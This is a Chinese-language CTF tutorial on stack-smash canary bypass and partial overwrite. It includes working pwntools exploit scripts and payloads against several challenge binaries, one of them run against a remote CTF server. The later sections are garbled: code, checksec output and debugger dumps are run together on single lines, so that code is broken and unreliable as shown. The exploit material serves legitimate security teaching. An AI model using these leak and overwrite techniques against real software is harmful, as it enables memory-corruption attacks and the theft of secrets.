天天看點

棧溢出技巧(下)

極客們,請收下2021 微軟 x 英特爾黑客松大賽英雄帖!>>>

棧溢出技巧(下)

基于報錯類的棧保護

canary這個值被稱作金絲雀(“canary”)值,指的是礦工曾利用金絲雀來确認是否有氣體洩漏,如果金絲雀因為氣體洩漏而中毒死亡,可以給礦工預警。在brop中也提到過,通過爆破的辦法去進行繞過canary保護,因為canary的值在每次程式運作時都是不同的,是以這需要一定的條件:fork的子程序不變,題目中很難遇到,是以我們可以使用stack smash的方法進行洩漏内容。canary位置位于高于局部變量,低于ESP,也就是在其中間,那麼我們進行溢出攻擊的時候,都會覆寫到canary的值,進而導緻程式以外結束。具體看一下canary在哪?怎麼形成的?又是怎麼使用的?舉一個小例子:

#include <stdio.h>
void main(int argc, char **argv) {
    char buf[10];
    scanf("%s", buf);
}
pwn@pwn-PC:~/Desktop$ gcc test.c -fstack-protector

           

看一下其彙編代碼

Dump of assembler code for function main:
   0x0000000000000740 <+0>: push   rbp
   0x0000000000000741 <+1>: mov    rbp,rsp
   0x0000000000000744 <+4>: sub    rsp,0x30
   0x0000000000000748 <+8>: mov    DWORD PTR [rbp-0x24],edi
   0x000000000000074b <+11>:    mov    QWORD PTR [rbp-0x30],rsi
   0x000000000000074f <+15>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000000758 <+24>:    mov    QWORD PTR [rbp-0x8],rax
   0x000000000000075c <+28>:    xor    eax,eax
   0x000000000000075e <+30>:    lea    rax,[rbp-0x12]
   0x0000000000000762 <+34>:    mov    rsi,rax
   0x0000000000000765 <+37>:    lea    rdi,[rip+0xb8]        # 0x824
   0x000000000000076c <+44>:    mov    eax,0x0
   0x0000000000000771 <+49>:    call   0x5f0 <__isoc99_scanf@plt>
   0x0000000000000776 <+54>:    mov    rax,QWORD PTR [rbp-0x30]
   0x000000000000077a <+58>:    lea    rdx,[rip+0xa6]        # 0x827
   0x0000000000000781 <+65>:    mov    QWORD PTR [rax],rdx
   0x0000000000000784 <+68>:    nop
   0x0000000000000785 <+69>:    mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000000789 <+73>:    xor    rax,QWORD PTR fs:0x28
   0x0000000000000792 <+82>:    je     0x799 <main+89>
   0x0000000000000794 <+84>:    call   0x5e0 <__stack_chk_fail@plt>
   0x0000000000000799 <+89>:    leave  
   0x000000000000079a <+90>:    ret    
End of assembler dump.

           

找到<+15> <+24>和<+69><+73>處

0x000000000000074f <+15>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000000758 <+24>:    mov    QWORD PTR [rbp-0x8],rax
.....
   0x0000000000000785 <+69>:    mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000000789 <+73>:    xor    rax,QWORD PTR fs:0x28

           

前兩處是生成canary并且存在[rbp-0x8]中,怎是通過從fs:0x28的地方擷取的,而且發現每次都會變化,無法預測。後兩處則是程式執行完成後對[rbp-0x8]canary值與fs:0x28的值進行比較,如果xor操作後rax寄存器中值為0,那麼程式自己就認為是沒有被破壞,否則調用__stack_chk_fail函數。繼續看該函數的内容和作用,會引出stack smash利用技巧。

__attribute__ ((noreturn)) 
__stack_chk_fail (void) {   
    __fortify_fail ("stack smashing detected"); 
}

void __attribute__ ((noreturn)) 
__fortify_fail (msg)
   const char *msg; {
      /* The loop is added only to keep gcc happy. */
         while (1)
              __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>") 
} 
libc_hidden_def (__fortify_fail)

           

最終會調用fortify_fail函數中的libc_message (2, "* %s : %s terminated\n", msg, __libc_argv[0] ?: "<unknown>") ,關鍵點來了。一、可以列印資訊二、__libc_argv[0]可控制那麼__libc_argv[0]是什麼呢?與列印資訊又什麼聯系?libc_argv[0]則是 argv[ ]指針組的的元素,先看 main函數的原型,void main(int argc, char *argv)。其中參數argc是整數,表示使用指令行運作程式時傳遞了幾個參數; argv[ ]是一個指針數組,用來存放指向你的字元串參數的指針,每一個元素指向一個參數。其中argv[0]指向程式運作的全路徑名,也就是程式的名字,比如例子中的./a.out,argv[1] 指向在指令行中執行程式名後的第一個字元串,以此類推。但是這樣看來,libc_argv[0]似乎是不可以控制的,或者隻能使用修改程式名來進行控制。繼續看這麼一個小實驗,先看一下這個錯誤資訊是怎麼列印的(至于為什麼是輸出50個位元組,随後再探究)。

pwn@pwn-PC:~/Desktop$ python -c 'print "A"*50' | ./a.out
*** stack smashing detected ***: ./a.out terminated
段錯誤

           

如果我們在程式中強行修改__libc_argv[0]會怎麼樣?

#include <stdio.h>
void main(int argc, char **argv) {
    char buf[10];
    scanf("%s", buf);
    argv[0] = "stack smash!";
}
pwn@pwn-PC:~/Desktop$ gcc test.c -fstack-protector
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*50' | ./a.out
*** stack smashing detected ***: stack smash! terminated
段錯誤

           

可以發現成功控制了__libc_argv[0]的值,列印出來了想要的資訊。綜上所述,這一種基于報錯類的棧保護,恰恰是可以報錯,是以存在stack smash的繞過方法。

stack smash原理

調試fortify_fail 函數,找到libc_message函數的部分彙編代碼:

0x7ffff7b331d0 <__fortify_fail+16>    mov    rax, qword ptr [rip + 0x2a5121] <0x7ffff7dd82f8>

           

然後擷取[rip+0x2a5121]的值,也就是存放__libc_argv[0]的記憶體單元。

棧溢出技巧(下)

對于這個例子來說,輸入的長度達到0xf8位元組,即可開始覆寫__libc_argv[0]的值,進而列印出來需要的資訊,構造就相應的payload就行洩漏想要的内容,比如存儲的flag内容、開啟PIE的加載基址、canary的值等等。在一節裡面,拿剛才的例子再做一個有意思的小實驗:

pwn@pwn-PC:~/Desktop$ python -c 'print "A"*247' | ./a.out
*** stack smashing detected ***: ./a.out terminated
段錯誤
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*248' | ./a.out
*** stack smashing detected ***:  terminated
段錯誤
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*249' | ./a.out
*** stack smashing detected ***:  terminated
段錯誤
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*250' | ./a.out
段錯誤

           

buf(0x7fffffffcd00)和__libc_argv0處相距0xf8(也就是說第249位會覆寫到0x7fffffffcdf8),那麼輸入247、248、249、250會出現三種情況,分别看一下對應情況下0x7fffffffcdf8的值:

達不到覆寫的距離:    
21:0108│      0x7fffffffcdf8 —▸ 0x7fffffffd0d2 ◂— '/home/pwn/Desktop/a.out'
剛好達到覆寫的距離,讀入\x00剛好覆寫到:
21:0108│      0x7fffffffcdf8 —▸ 0x7fffffffd000 ◂— 9 /* '\t' */
覆寫形成的位址在記憶體中可以找到:
21:0108│      0x7fffffffcdf8 —▸ 0x7fffffff0041 ◂— 0x0
Cannot access memory at address 0x7fffff004141:
21:0108│      0x7fffffffcdf8 ◂— 0x7fffff004141 /* 'AA' */  

           

是以在嘗試尋找offset的時候,選擇offset = 248。當然嘗試的辦法太慢了,直接gdb調試下斷點,類似于例子中的distance 0x7fffffffcd00 0x7fffffffcdf8即可。

題目一

2015 年 32C3 CTF readme題目分析如下:

unsigned __int64 sub_4007E0()
{
  __int64 v0; // rbx
  int v1; // eax
  __int64 v3; // [rsp+0h] [rbp-128h]
  unsigned __int64 v4; // [rsp+108h] [rbp-20h]

  v4 = __readfsqword(0x28u);
  __printf_chk(1LL, "Hello!\nWhat's your name? ");
  if ( !_IO_gets(&v3) )
LABEL_9:
    _exit(1);
  v0 = 0LL;
  __printf_chk(1LL, "Nice to meet you, %s.\nPlease overwrite the flag: ");
  while ( 1 )
  {
    v1 = _IO_getc(stdin);
    if ( v1 == -1 )
      goto LABEL_9;
    if ( v1 == 10 )
      break;
    byte_600D20[v0++] = v1;
    if ( v0 == 32 )
      goto LABEL_8;
  }
  memset((void *)((signed int)v0 + 6294816LL), 0, (unsigned int)(32 - v0));
LABEL_8:
  puts("Thank you, bye!");
  return __readfsqword(0x28u) ^ v4;
}

pwn@pwn-PC:~/Desktop$ ./readme.bin 
Hello!
What's your name? aaa
Nice to meet you, aaa.
Please overwrite the flag: aaa
Thank you, bye!
pwn@pwn-PC:~/Desktop$ checksec readme.bin 
[*] '/home/pwn/Desktop/readme.bin'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

           

程式中存在兩次輸入,并且可以發現_IO_gets(&v3)處存在明顯的棧溢出。嘗試找到__libc_argv[0]的位置

pwn@pwn-PC:~/Desktop$ python -c 'print "A"*0x128+"\n"'|./readme.bin
Hello!
What's your name? Nice to meet you, AAAAAAAA...
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: ./readme.bin terminated

pwn@pwn-PC:~/Desktop$ python -c 'print "A"*535+"\n"'|./readme.bin
Hello!
What's your name? Nice to meet you, AAAAAAAA...
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: ./readme.bin terminated

pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+"\n"'|./readme.bin
Hello!
What's your name? Nice to meet you, AAAAAAAA...
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***:   terminated

           

是以offset = 536。為了做題的效率,不可能去一個一個嘗試,如下:

gdb-peda$ find /home
Searching for '/home' in: None ranges
Found 5 results, display max 5 items:
[stack] : 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin")
[stack] : 0x7fffffffec71 ("/home/pwn/Desktop")
[stack] : 0x7fffffffec91 ("/home/pwn")
[stack] : 0x7fffffffef29 ("/home/pwn/.Xauthority")
[stack] : 0x7fffffffefdb ("/home/pwn/Desktop/readme.bin")
gdb-peda$ find 0x7fffffffd0c8
Searching for '0x7fffffffd0c8' in: None ranges
Found 2 results, display max 2 items:
   libc : 0x7ffff7dd43b8 --> 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin")
[stack] : 0x7fffffffcde8 --> 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin")
gdb-peda$ distance $rsp 0x7fffffffcde8
From 0x7fffffffcbd0 to 0x7fffffffcde8: 536 bytes, 134 dwords
這個計算距離隻是特例,最好是按照上一部分例子中的方法來計算,下斷點,distance 位址1 位址2.

           

可以在IDA下發現.data段的變量

.data:0000000000600D20 byte_600D20     db 33h                  ; DATA XREF: sub_4007E0+6E↑w
.data:0000000000600D21 a2c3Theserverha db '2C3_TheServerHasTheFlagHere...',0

           

隻需要将此變量進行顯示即可,于是構造payload:

pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("<Q",0x600d20)+"\n"+'|./readme.bin
Hello!
What's your name? Nice to meet you, AAAAAAA.....
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***:   terminated

           

沒有成功,再看代碼邏輯。

0x40083f:    call   0x4006a0 <_IO_getc@plt>
   0x400844:    cmp    eax,0xffffffff
   0x400847:    je     0x40089f
   0x400849:    cmp    eax,0xa
   0x40084c:    je     0x400860
   0x40084e:    mov    BYTE PTR [rbx+0x600d20],al
   0x400854:    add    rbx,0x1
   0x400858:    cmp    rbx,0x20
   0x40085c:    jne    0x400838

           

這是第二次輸入的彙編部分,其中執行了mov BYTE PTR [rbx+0x600d20],al(此時rbx = 0),也就是byte_600D20[v0++] = v1,這就把byte_600D20變量循環覆寫掉,如下:

pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("<Q",0x600d20)+"\n"+"BBBB"'|./readme.bin
Hello!
What's your name? Nice to meet you, AAAAAAA.....
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: BBBB terminated

           

但是當ELF檔案比較小的時候,它的不同區段可能會被多次映射,在ELF記憶體映射的時候,bss段會被映射兩次,也就是說flag有備份,我們可以使用另一處的位址進行輸出,如下:

gdb-peda$ find 32C3
Searching for '32C3' in: None ranges
Found 2 results, display max 2 items:
readme.bin : 0x400d20 ("32C3_TheServerHasTheFlagHere...")
readme.bin : 0x600d20 ("32C3_TheServerHasTheFlagHere...")

           

此時選擇0x400d20進行構造payload即可成功列印出來。

pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("<Q",0x400d20)+"\n"'|./readme.bin
Hello!
What's your name? Nice to meet you, AAAAAAAA....
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated
段錯誤

           

由于題目在遠端伺服器上,而且LIBC_FATAL_STDERR=0,這個錯誤提示隻會顯示在遠端,不會傳回到我們這端。是以必須設定如下環境變量LIBC_FATAL_STDERR=1,才能實作将标準錯誤資訊通過管道輸出到遠端shell中。是以,我們還必須設定該參數。那麼環境變量在哪?有什麼用?在libc_message函數的源代碼可以看到LIBC_FATAL_STDERR_使用讀取了環境變量libc_secure_getenv。如果它沒有被設定、或者為空(\x00或NULL),那麼stderr被重定向到_PATH_TTY(這通常是/dev/tty),是以将錯誤消息不被發送,隻在伺服器側可見。位置在高于libc_argv[0]記憶體單元,且在libc_main[0]位址+8之後。是以exp:

from pwn import *
env_addr = 0x600d20
flag_addr = 0x400d20

r = process('./read.bin')
r.recvuntil("What's your name? ")
r.sendline("A"*536 + p64(flag_addr) + "A"*8 + p64(env_addr))
r.sendline("LIBC_FATAL_STDERR_=1")
r.recvuntil("*** stack smashing detected ***: ")
log.info("The flag is: %s" % r.recvuntil(" ").strip())

           

本地測試:

棧溢出技巧(下)

題目二

2018年網鼎杯中guess題目,相對于題目一,flag的位置在棧中而不是bss段,而且ASLR後位址是無法預測的。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch]
  int v5; // [rsp+1Ch] [rbp-84h]
  __int64 v6; // [rsp+20h] [rbp-80h]
  __int64 v7; // [rsp+28h] [rbp-78h]
  char buf; // [rsp+30h] [rbp-70h]
  char s2; // [rsp+60h] [rbp-40h]
  unsigned __int64 v10; // [rsp+98h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  v7 = 3LL;
  LODWORD(stat_loc.__uptr) = 0;
  v6 = 0LL;
  sub_4009A6();
  HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
  if ( HIDWORD(stat_loc.__iptr) == -1 )
  {
    perror("./flag.txt");
    _exit(-1);
  }
  read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL);
  close(SHIDWORD(stat_loc.__iptr));
  puts("This is GUESS FLAG CHALLENGE!");
  while ( 1 )
  {
    if ( v6 >= v7 )
    {
      puts("you have no sense... bye :-) ");
      return 0LL;
    }
    v5 = sub_400A11();
    if ( !v5 )
      break;
    ++v6;
    wait((__WAIT_STATUS)&stat_loc);
  }
  puts("Please type your guessing flag");
  gets(&s2);
  if ( !strcmp(&buf, &s2) )
    puts("You must have great six sense!!!! :-o ");
  else
    puts("You should take more effort to get six sence, and one more challenge!!");
  return 0LL;
}

pwn@pwn-PC:~/Desktop$ checksec GUESS 
[*] '/home/pwn/Desktop/GUESS'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

           

先捋一捋流程首先由于使用了gets,是以可以無限制溢出,并且有三次機會。然後發現flag.txt中flag值通過read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL)讀入到了棧中,&buf處。最後開啟了canary,可以使用stack smashing的方法洩漏處flag的值。那麼怎樣去構造呢?想要擷取flag的值,就得擷取buf的棧中的位址,因為ASLR的原因,那麼需要先洩漏libc的基址,根據偏移去計算出加載後的棧中buf的位址。但是現在問題是得到了libc的的加載位址,怎麼算出stack的加載位址,因為每次加載的時候,兩者相距的長度變化的。解決的辦法就是找一個與stack的加載位址的偏移量不變的參照物,或者說與buf的棧位址偏移量不變的參照物,此參照物可以根據已有的條件計算出實際的加載位址。此時就需要補充一個知識點:在libc中儲存了一個函數叫environ,存的是目前程序的環境變量,environ指向的位置是棧中環境變量的位址,其中environ的位址 = libc基址 + _environ的偏移量,也就說在記憶體布局中,他們同屬于一個段,開啟ASLR之後相對位置不變,偏移量和libc庫有關,environ的位址(&environ)和libc基址的偏移量是不會的,并且通過&environ找到_environ記憶體單元中的值是棧中環境變量的位址,根據此位址可以找到環境變量。

pwn@pwn-PC:~/Desktop$ objdump -d /usr/lib/x86_64-linux-gnu/libc-2.24.so | grep __environ
dc97d:  48 c7 05 c0 f5 2b 00    movq   $0xfff,0x2bf5c0(%rip)        # 39bf48 <__environ@@GLIBC_2.2.5+0x10>
.....

           

__environ在libc中的偏移量為0x39bf38。

棧溢出技巧(下)

這樣一來,棧中environ的值和buf的棧位址的相對位置是固定的,可以根據environ的值-偏移量=buf的棧位址。那麼程式中這三次輸入分别是:第一次,通過洩露函數的got表内容,計算得到libc基址。第二次,通過libc基址和偏移量計算得到&environ,擷取environ的值。第三次,通過_environ的值,計算出buf的棧位址,洩露buf中存儲的flag的值。步驟如下:第一次洩漏libc基址

from pwn import *
# context.arch = 'amd64'
# context.log_level = 'debug'
# context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
p = process('./GUESS')
elf = ELF("./GUESS")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
gets_got = elf.got['gets']
# print hex(gets_got)
p.recvuntil('guessing flag\n')
payload = 'a' * 0x128 + p64(gets_got)
p.sendline(payload)
p.recvuntil('detected ***: ')
gets_addr = u64(p.recv(6).ljust(0x8,'\x00'))
libc_base_addr = gets_addr - libc.symbols['gets']
print 'libc_base_addr: ' + hex(libc_base_addr)

pwn@pwn-PC:~/Desktop$ python exp.py 
[+] Starting local process './GUESS': pid 28733
[*] '/home/pwn/Desktop/GUESS'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
libc_base_addr: 0x7ff71434f000

           

第二次洩漏_environ的值

environ_addr = libc_base_addr + libc.symbols['_environ']
# print 'environ_addr: ' + hex(environ_addr)
payload1 = 'a' * 0x128 + p64(environ_addr)
p.recvuntil('Please type your guessing flag')
p.sendline(payload1)
p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recv(6).ljust(0x8,'\x00'))
print 'stack_addr: '+hex(stack_addr)

pwn@pwn-PC:~/Desktop$ python exp.py 
[+] Starting local process './GUESS': pid 29707
[*] '/home/pwn/Desktop/GUESS'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
libc_base_addr: 0x7f8d02122000
stack_addr: 0x7ffc5a61c908

           

第三次洩漏flag的值

計算出stack_addr和buf_addr的相距長度
pwndbg> distance 0x7fffffffcca0 0x7fffffffce08
0x7fffffffcca0->0x7fffffffce08 is 0x168 bytes (0x2d words)

payload2 = 'a' * 0x128 + p64(stack_addr - 0x168)
p.recvuntil('Please type your guessing flag')
p.sendline(payload2)
p.recvuntil('stack smashing detected ***: ')
flag = p.recvline()
print 'flag:' + flag

pwn@pwn-PC:~/Desktop$ python exp.py 
[+] Starting local process './GUESS': pid 29877
[*] '/home/pwn/Desktop/GUESS'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
libc_base_addr: 0x7f8d02122000
stack_addr: 0x7ffc5a61c908
flag: flag{stack_smash}

           

exp:

from pwn import *
# context.arch = 'amd64'
# context.log_level = 'debug'
# context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
p = process('./GUESS')
elf = ELF("./GUESS")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
gets_got = elf.got['gets']
# print hex(gets_got)
p.recvuntil('guessing flag\n')
payload = 'a' * 0x128 + p64(gets_got)
p.sendline(payload)
p.recvuntil('detected ***: ')
gets_addr = u64(p.recv(6).ljust(0x8,'\x00'))
libc_base_addr = gets_addr - libc.symbols['gets']
print 'libc_base_addr: ' + hex(libc_base_addr)

environ_addr = libc_base_addr + libc.symbols['_environ']
# print 'environ_addr: ' + hex(environ_addr)
payload1 = 'a' * 0x128 + p64(environ_addr)
p.recvuntil('Please type your guessing flag')
p.sendline(payload1)
p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recv(6).ljust(0x8,'\x00'))
print 'stack_addr: '+hex(stack_addr)

payload2 = 'a' * 0x128 + p64(stack_addr - 0x168)
p.recvuntil('Please type your guessing flag')
p.sendline(payload2)
p.recvuntil('stack smashing detected ***: ')
flag = p.recvline()
print 'flag:' + flag

           

題目三

Jarvis OJ中的smashes,與題目一一樣,但是可以直接在本地顯示錯誤資訊,隻是提供了一個複現場景

pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("<Q",0x400d20) + "\n"'|./smashes.44838f6edd4408a53feb2e2bbfe5b229 
Hello!
What's your name? Nice to meet you, AAAAAA..... 
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: PCTF{Here's the flag on server} terminated

           
from pwn import *
p=remote("pwn.jarvisoj.com","9877")
p.recvuntil("name?");
flag_addr=0x400d20                                                                                                 
payload='a'*0x218+p64(flag_addr)+'\n'
p.sendline(payload)
p.recvuntil('stack smashing detected ***: ')
flag = p.recvline()
print flag

pwn@pwn-PC:~/Desktop$ python exp.py 
[+] Opening connection to pwn.jarvisoj.com on port 9877: Done
PCTF{57dErr_Smasher_good_work!} terminated

[*] Closed connection to pwn.jarvisoj.com port 9877
​````

# 題目四
main函數中存在棧溢出,源碼如下:

           

int __cdecl main(int argc, const char argv, const char envp){ __int64 v4; // rsp+18h char v5; // rsp+20h char v6; // rsp+A0h unsigned __int64 v7; // rsp+128h

v7 = _readfsqword(0x28u); putenv("LIBC_FATAL_STDERR=1", argv, envp); v4 = fopen64("flag.txt", "r"); if ( v4 ) { fgets(&v5, 32LL, v4); fclose(v4); printf((unsigned __int64)"Interesting data loaded at %p\nYour username? "); fflush(0LL, &v5); read(0LL, &v6, 1024LL); } else { puts("Error leyendo datos"); } return 0;}

pwn@pwn-PC:~/Desktop$ checksec xpl[*] '/home/pwn/Desktop/xpl' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)

pwndbg> vmmapLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x4c0000 r-xp c0000 0 /home/pwn/Desktop/xpl 0x6bf000 0x6c2000 rw-p 3000 bf000 /home/pwn/Desktop/xpl 0x6c2000 0x6e8000 rw-p 26000 0 [heap] 0x7ffff7ffa000 0x7ffff7ffd000 r--p 3000 0 [vvar] 0x7ffff7ffd000 0x7ffff7fff000 r-xp 2000 0 [vdso] 0x7ffffffdd000 0x7ffffffff000 rw-p 22000 0 [stack]0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]

開啟了ASLR,并且可以知道程式将flag.txt的flag值存放在了char v5 //[rsp+20h] [rbp-110h]中,這看起來與題目二相似,可以使用其思路,但是vmmap發現這沒有動态編譯,那麼此思路就pass掉,再去找其他的辦法,百思不得其解時,運作一下程式,發現會輸出一個位址,回過頭去看代碼才發現因自己的知識儲備太少,沒有注意到prinf的中%p的是比對的哪。

           

pwn@pwn-PC:~/Desktop$ ./xpl Interesting data loaded at 0x7ffe65dfcfd0Your username?

源碼: printf((unsigned __int64)"Interesting data loaded at %p\nYour username? ");

調試: 0x4010d9 <main+123> lea rax, [rbp - 0x110] 0x4010e0 <main+130> mov rsi, rax 0x4010e3 <main+133> mov edi, 0x493b28 0x4010e8 <main+138> mov eax, 0 ► 0x4010ed <main+143> call printf <0x408770> format: 0x493b28 ◂— 'Interesting data loaded at %p\nYour username? ' vararg: 0x7fffffffcc00 ◂— 'flag{stack_smash}\n'

0x4010f2 <main+148> mov edi, 0 0x4010f7 <main+153> call fflush <0x408c90>

0x4010fc <main+158> lea rax, [rbp - 0x90] 0x401103 <main+165> mov edx, 0x400 0x401108 <main+170> mov rsi, rax────────────────────────[ STACK ]────────────────────────00:0000│ rsp 0x7fffffffcbe0 —▸ 0x7fffffffcdf8 —▸ 0x7fffffffd0d6 ◂— '/home/pwn/Desktop/xpl'01:0008│ 0x7fffffffcbe8 ◂— 0x10000000002:0010│ 0x7fffffffcbf0 ◂— 0x003:0018│ 0x7fffffffcbf8 —▸ 0x6c7d40 ◂— 0x004:0020│ rsi 0x7fffffffcc00 ◂— 'flag{stack_smash}\n'05:0028│ 0x7fffffffcc08 ◂— 'ck_smash}\n'06:0030│ 0x7fffffffcc10 ◂— 0xa7d /* '}\n' */07:0038│ 0x7fffffffcc18 —▸ 0x401840 (__libc_csu_fini) ◂— push rbx

發現程式一開始輸出的位址,就是v5所在的棧位址,也就是flag的位址,步驟如下:
找到__libc_argv[0]的位址:

           

43:0218│ rsi 0x7fffffffcdf8 —▸ 0x7fffffffd0d6 ◂— '/home/pwn/Desktop/xpl'

計算出偏移量:

           

pwndbg> i r rbprbp 0x7fffffffcd10 0x7fffffffcd10pwndbg> x /gx 0x7fffffffcd10-0x900x7fffffffcc80: 0x000000037ffffa00pwndbg> distance 0x7fffffffcc80 0x7fffffffcdf80x7fffffffcc80->0x7fffffffcdf8 is 0x178 bytes (0x2f words)

擷取flag:


           

from pwn import *

sh = process('./xpl')data = sh.recvuntil("username?")address = p64(int(data.split()[4], 16))sh.send("A"*0x178 + address)print sh.recvline()

pwn@pwn-PC:~/Desktop$ python exp.py [+] Starting local process './xpl': pid 4363 *** stack smashing detected ***: flag{stack_smash}

# partial write
根據前面的内容可以知道在開啟ASLR+PIE的後,每次加載的位址是在一定的範圍随機變化的,隻不過由于記憶體頁為0x1000空間大小的限制和加載後相對偏移不會變的緣故,造成了加載後的位址的最後一個半位元組長度的内容是不變的。
partial write則是利用了這一點,記憶體是以頁載入機制,如果開啟PIE保護的話,隻能影響到單個記憶體頁,一個記憶體頁大小為0x1000,那麼就意味着不管位址怎麼變,某一條指令的後三位十六進制數的位址是始終不變的,是以我們可以通過覆寫位址的後幾位來可以控制程式的執行流。
另外,partial overwrite不僅僅可以用在棧上,同樣可以用在其它随機化的場景。比如堆的随機化,由于堆起始位址低位元組一定是0x00,也可以通過覆寫低位來控制堆上的偏移。

# 題目一
2018年安恒杯中babypie題,因為wiki中給的不是一個二進制檔案,是以自己重新編譯。


           

#include <unistd.h>#include <stdlib.h>void flag(){ system("cat flag");}void vuln(){ char buf[40]; puts("Input your Name:"); read(0, buf, 0x30); printf("Hello %s:\n", buf); read(0, buf, 0x60); }int main(int argc, char const *argv[]){ vuln(); return 0;}

pwn@pwn-PC:~/Desktop$ gcc -fpie -pie -fstack-protector -o test-pie partial.cpwn@pwn-PC:~/Desktop$ checksec test-pie [*] '/home/pwn/Desktop/test-pie' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled

此題目所有保護都開着,首先發現有canary,就想着使用stack smash洩漏flag函數的位址,然後此位址作為第二次read的ret_addr位址進行執行,但是隻有第二次read操作存在棧溢出,而且溢出的距離無法到達到覆寫__libc_argv[0]的距離,假設即便能覆寫,在PIE的情況下也很難确定.text的位址,是以本題使用partial overwrite的方法進行利用。
可以發現兩次read操作,隻有第二次read操作存在棧溢出,但是又有canary,很難利用第二次的棧溢出,那麼怎麼去解決?
首先需要擷取canary的值, 因為read函數并不會給輸入的末尾加上 \x00 字元,而且printf 使用 %s 時, 遇到 \x00 字元才會結束輸出,是以隻需要把canary末尾字元覆寫成非 \x00 字元就可以利用printf("Hello %s:\n", buf)輸出canary,然後再利用partial overwrite覆寫ret_addr控制程式的指令流,步驟如下:
洩漏canary值


           

from pwn import *context.arch = 'amd64'context.log_level = 'debug'context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']offset = 0x28p = process('./test-pie')p.recvuntil("Name:\n")payload='a' * offset gdb.attach(p)p.sendline(payload) p.recvuntil('a' * offset)p.recv(1)canary = u64('\0' + p.recvn(7))print hex(canary)

pwn@pwn-PC:~/Desktop$ python exp.py [+] Starting local process './test-pie': pid 28293[DEBUG] Received 0x11 bytes: 'Input your Name:\n'[DEBUG] Wrote gdb script to '/tmp/pwnozkM_1.gdb' file "./test-pie"[*] running in new terminal: /usr/bin/gdb -q "./test-pie" 28293 -x "/tmp/pwnozkM_1.gdb"[DEBUG] Launching a new terminal: ['/usr/bin/deepin-terminal', '-x', 'sh', '-c', '/usr/bin/gdb -q "./test-pie" 28293 -x "/tmp/pwnozkM_1.gdb"'][+] Waiting for debugger: Done[DEBUG] Sent 0x29 bytes: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'[DEBUG] Received 0x2f bytes: 'Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'[DEBUG] Received 0xf bytes: 00000000 77 05 28 c0 f3 64 57 20 69 4e d8 fc 7f 3a 0a │w·(·│·dW │iN··│·:·│ 0000000f0x5764f3c028057700

可以看到,sent了0x29個字元,因為buf的棧位址到canary值的位址的相距0x28個字元,再加上覆寫的canary的末尾字元總共0x29個字元,棧中覆寫情況如下:


           

